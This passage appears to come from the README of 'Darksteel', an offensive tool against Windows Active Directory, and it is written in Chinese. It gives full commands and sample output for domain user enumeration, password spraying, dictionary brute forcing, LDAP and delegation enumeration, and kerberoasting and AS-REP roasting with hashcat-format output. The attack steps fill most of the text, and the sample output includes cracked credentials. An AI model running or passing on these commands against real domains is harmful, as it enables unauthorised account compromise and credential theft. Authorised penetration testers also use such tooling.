192.168.1.1 -n test.com -U users.txt\n ____    ______  ____    __  __   ____    ______  ____    ____    __       \n/\\  _`\\ /\\  _  \\/\\  _`\\ /\\ \\/\\ \\ /\\  _`\\ /\\__  _\\/\\  _`\\ /\\  _`\\ /\\ \\      \n\\ \\ \\/\\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \\ \\/'/'\\ \\,\\L\\_\\/_/\\ \\/\\ \\ \\L\\_\\ \\ \\L\\_\\ \\ \\    \n \\ \\ \\ \\ \\ \\  __ \\ \\ ,  /\\ \\ , \u003c  \\/_\\__ \\  \\ \\ \\ \\ \\  _\\L\\ \\  _\\L\\ \\ \\  _\n  \\ \\ \\_\\ \\ \\ \\/\\ \\ \\ \\\\ \\\\ \\ \\\\`\\  /\\ \\L\\ \\ \\ \\ \\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \n   \\ \\____/\\ \\_\\ \\_\\ \\_\\ \\_\\ \\_\\ \\_\\\\ `\\____\\ \\ \\_\\ \\ \\____/\\ \\____/\\ \\____/  \n    \\/___/  \\/_/\\/_/\\/_/\\/ /\\/_/\\/_/ \\/_____/  \\/_/  \\/___/  \\/___/  \\/___/   \n    \n   v1.0.8\n\n\n[+] USERNAME:    zz@test.com\n[+] USERNAME:    xx@test.com\nDone! Tested logins in 0.034 seconds\n\n\n\ndarksteel.exe blast -m userenum -d 192.168.1.1 -n test.com -U users.txt -v\n ____    ______  ____    __  __   ____    ______  ____    ____    __       \n/\\  _`\\ /\\  _  \\/\\  _`\\ /\\ \\/\\ \\ /\\  _`\\ /\\__  _\\/\\  _`\\ /\\  _`\\ /\\ \\      \n\\ \\ \\/\\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \\ \\/'/'\\ \\,\\L\\_\\/_/\\ \\/\\ \\ \\L\\_\\ \\ \\L\\_\\ \\ \\    \n \\ \\ \\ \\ \\ \\  __ \\ \\ ,  /\\ \\ , \u003c  \\/_\\__ \\  \\ \\ \\ \\ \\  _\\L\\ \\  _\\L\\ \\ \\  _\n  \\ \\ \\_\\ \\ \\ \\/\\ \\ \\ \\\\ \\\\ \\ \\\\`\\  /\\ \\L\\ \\ \\ \\ \\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \n   \\ \\____/\\ \\_\\ \\_\\ \\_\\ \\_\\ \\_\\ \\_\\\\ `\\____\\ \\ \\_\\ \\ \\____/\\ \\____/\\ \\____/  \n    \\/___/  \\/_/\\/_/\\/_/\\/ /\\/_/\\/_/ \\/_____/  \\/_/  \\/___/  \\/___/  \\/___/   \n    \n   v1.0.8\n\n\n[!] asdfqwadad@test.com - User does not exist\n[!] admin@test.com - User does not exist\n[+] USERNAME:    zz@test.com\n[+] USERNAME:    xx@test.com\nDone! Tested logins in 0.002 seconds\n```\n\n##### 2、找到用户后使用单个密码进行爆破\n```\ndarksteel.exe blast -m passspray -d 192.168.1.1 -n test.com -U users.txt -p 123456\n ____    ______  ____    __  __   ____    ______  ____    ____    __       \n/\\  _`\\ /\\  _  \\/\\  _`\\ /\\ \\/\\ \\ /\\  _`\\ /\\__  _\\/\\  _`\\ /\\  _`\\ /\\ \\      \n\\ \\ \\/\\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \\ \\/'/'\\ \\,\\L\\_\\/_/\\ \\/\\ \\ \\L\\_\\ \\ \\L\\_\\ \\ \\    \n \\ \\ \\ \\ \\ \\  __ \\ \\ ,  /\\ \\ , \u003c  \\/_\\__ \\  \\ \\ \\ \\ \\  _\\L\\ \\  _\\L\\ \\ \\  _\n  \\ \\ \\_\\ \\ \\ \\/\\ \\ \\ \\\\ \\\\ \\ \\\\`\\  /\\ \\L\\ \\ \\ \\ \\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \n   \\ \\____/\\ \\_\\ \\_\\ \\_\\ \\_\\ \\_\\ \\_\\\\ `\\____\\ \\ \\_\\ \\ \\____/\\ \\____/\\ \\____/  \n    \\/___/  \\/_/\\/_/\\/_/\\/ /\\/_/\\/_/ \\/_____/  \\/_/  \\/___/  \\/___/  \\/___/   \n    \n   v1.0.8\n\n\n[+] SUCCESS:     zz@test.com:123456\nDone! Tested logins in 0.024 seconds\n```\n\n##### 3、使用密码字典爆破单个用户\n\n```\ndarksteel.exe blast -m blastpass -d 192.168.1.1 -n test.com -u zz -P pass.txt\n ____    ______  ____    __  __   ____    ______  ____    ____    __       \n/\\  _`\\ /\\  _  \\/\\  _`\\ /\\ \\/\\ \\ /\\  _`\\ /\\__  _\\/\\  _`\\ /\\  _`\\ /\\ \\      \n\\ \\ \\/\\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \\ \\/'/'\\ \\,\\L\\_\\/_/\\ \\/\\ \\ \\L\\_\\ \\ \\L\\_\\ \\ \\    \n \\ \\ \\ \\ \\ \\  __ \\ \\ ,  /\\ \\ , \u003c  \\/_\\__ \\  \\ \\ \\ \\ \\  _\\L\\ \\  _\\L\\ \\ \\  _\n  \\ \\ \\_\\ \\ \\ \\/\\ \\ \\ \\\\ \\\\ \\ \\\\`\\  /\\ \\L\\ \\ \\ \\ \\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \n   \\ \\____/\\ \\_\\ \\_\\ \\_\\ \\_\\ \\_\\ \\_\\\\ `\\____\\ \\ \\_\\ \\ \\____/\\ \\____/\\ \\____/  \n    \\/___/  \\/_/\\/_/\\/_/\\/ /\\/_/\\/_/ \\/_____/  \\/_/  \\/___/  \\/___/  \\/___/   \n    \n   v1.0.8\n\n\n[+] SUCCESS:     zz@test.com:123456\nDone! Tested logins in 0.013 seconds\n```\n\n##### 4、使用用户名密码对应字典爆破\n\n```\ndarksteel.exe blast -m userpass -d 192.168.1.1 -n test.com -F userpass.txt\n ____    ______  ____    __  __   ____    ______  ____    ____    __       \n/\\  _`\\ /\\  _  \\/\\  _`\\ /\\ \\/\\ \\ /\\  _`\\ /\\__  _\\/\\  _`\\ /\\  _`\\ /\\ \\      \n\\ \\ \\/\\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \\ \\/'/'\\ \\,\\L\\_\\/_/\\ \\/\\ \\ \\L\\_\\ \\ \\L\\_\\ \\ \\    \n \\ \\ \\ \\ \\ \\  __ \\ \\ ,  /\\ \\ , \u003c  \\/_\\__ \\  \\ \\ \\ \\ \\  _\\L\\ \\  _\\L\\ \\ \\  _\n  \\ \\ \\_\\ \\ \\ \\/\\ \\ \\ \\\\ \\\\ \\ \\\\`\\  /\\ \\L\\ \\ \\ \\ \\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \\ \\L\\ \\ \n   \\ \\____/\\ \\_\\ \\_\\ \\_\\ \\_\\ \\_\\ \\_\\\\ `\\____\\ \\ \\_\\ \\ \\____/\\ \\____/\\ \\____/  \n    \\/___/  \\/_/\\/_/\\/_/\\/ /\\/_/\\/_/ \\/_____/  \\/_/  \\/___/  \\/___/  \\/___/   \n    \n   v1.0.8\n\n\n[+] SUCCESS:     zz@test.com:123456\nDone! Tested logins in 0.010 seconds\n```\n\n# 其他用法\n## ldap\n\n##### 支持密码为hash\n```\ndarksteel ldap -d 192.168.1.1 -n test.com -u administrator -p hash \n```\n\n##### 查询域内单条内容 -m指定\n\n```\ndarksteel ldap -d 192.168.1.1 -n test.com -u administrator -p 123456 -m computer\n```\n##### 查询所有委派信息 -w指定\n\n```\ndarksteel ldap -d 192.168.1.1 -n test.com -u administrator -p 123456 -w all\n```\n#### 可选择参数\n\n```\n-o                  保存文件（不包括自定义查询）\n\n-l                  最大查询数（默认所有）\n\n-m                  指定单独查询内容\n\n-w                  指定单独查询委派内容\n```\n\n\n## kerberos\n##### kerberoasting（支持密码为hash）\n\n##### 利用所有用户并输出\n\n```\ndarksteel kerberos -d 192.168.1.1 -n test.com -u administrator -p 123 -m kerberoast\n```\n##### 利用指定test用户并输出\n\n```\ndarksteel kerberos -d 192.168.1.1 -n test.com -u administrator -p 123 -m kerberoast -t test\n```\n\n##### 使用TGT进行认证（只可利用单用户）\n\n```\ndarksteel kerberos -d 192.168.1.1 -k 123.kirbi -m kerberoast -t test\n```\n\n##### asreproast（支持密码为hash）\n\n##### 利用所有用户并输出\n\n```\ndarksteel kerberos -d 192.168.1.1 -n test.com -u administrator -p 123 -m asreproast\n```\n\n##### 利用指定test用户并输出\n\n```\ndarksteel kerberos -d 192.168.1.1 -n test.com  -m asreproast -t test\n```\n#### 可选择参数\n\n```\n-o                  保存文件（不包括自定义查询）\n\n-l                  最大查询数（默认所有）\n\n-e                  选择加密方式（默认rc4）\n\n-f                  选择输出爆破格式（默认hashcat）\n```\n\n## blast\n\n##### 域用户枚举\n\n```\ndarksteel blast -m userenum -d 192.168.1.1 -n test.com -U user.txt\n```\n##### 密码喷洒\n\n```\ndarksteel blast -m passspray -d 192.168.1.1 -n test.com -U user.txt -p 123456\n```\n\n##### 单用户密码爆破\n\n```\ndarksteel blast -m blastpass -d 192.168.1.1 -n test.com -u admin -P password.txt\n```\n\n##### 用户对应密码爆破（字典格式 admin:123456）\n\n```\ndarksteel blast -m userpass -d 192.168.1.1 -n test.com -F userpassword.txt\n```\n\n#### 可选择参数\n```\n-v      输出失败信息\n\n-t      线程设置（默认20）\n\n-o      输出文件\n\nblast时如果在域内使用则可以不指定dc。目前ldap查询不支持\n```\n\n# TODO \n```\n1、持续添加其他利用方式\n\n2、添加其他信息搜集内容\n\n3、修改BUG\n```\n\n# Thank\nhttps://github.com/jcmturner/gokrb5\n\nhttps://github.com/go-ldap/ldap\n\nhttps://github.com/ropnop/kerbrute\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fwjlab%2FDarksteel","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fwjlab%2FDarksteel","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fwjlab%2FDarksteel/lists"}